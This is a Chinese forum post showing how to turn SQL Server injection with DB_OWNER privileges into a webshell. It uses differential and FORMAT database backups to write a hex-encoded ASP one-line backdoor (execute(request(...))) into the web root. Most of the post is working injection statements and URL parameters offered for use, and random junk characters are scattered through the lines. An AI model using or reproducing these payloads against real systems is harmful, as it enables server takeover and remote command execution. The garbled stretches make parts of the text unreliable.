找回密码
 立即注册
查看: 2853|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:57:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
减少备份文件大小,得到可执行的webshell成功率提高不少( T, d/ ]8 A# Q; D1 L, b% b: H
* k, h5 ]1 F+ |+ f4 J" T% c, M( O& Y
一利用差异备份
0 n+ ^! R; [/ U$ g加一个参数WITH DIFFERENTIAL0 I/ p, c! N' b+ [) R, j

1 c- a- G; m! S, \# G0 s' rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
1 ?# B2 o6 {: ]5 c. ]create table [dbo].[xiaolu] ([cmd] [image]);
8 j* p' M; n/ J- q! z3 \$ Kinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)) Y+ j- r# B8 n+ Y# u* v
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL) J, H) D/ R4 Z7 f# a% x" ^, Y
" L/ e' e7 [. w: g) B) c  B! O3 X
二利用完全FORMAT
# S; _$ |. c. y1 m加一个参数WITH FROMAT
/ V' i1 }% C2 c' ~有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
0 w) ]. h) V9 l5 }7 J6 K) J1 i) j" B
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s* i+ N  o7 `# P% [9 H' z
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
8 P/ i8 e8 `/ T) Q7 s2 |declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT/ J8 p/ l1 o6 m7 m- ~, Z

5 O% R% e" C; c' }" T; y4 H% l总的来说就是那么简单几句,下面以备份数据库model为例子
# F5 ^& S! {( C1 @$ D% q% W6 f$ Q$ M8 H  V& r
id=1;use model create table cmd(str image);insert into cmd(str) values (”)
1 I( q& [+ f% S9 m8 d/ c$ b3 k% D* Z8 _
id=1;backup database model to disk=’你的路径‘ with differential,format;–- c9 C: Z; [1 H0 W: [: i, l( J

3 P+ Y* {6 [7 K) H. N$ a; q  r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表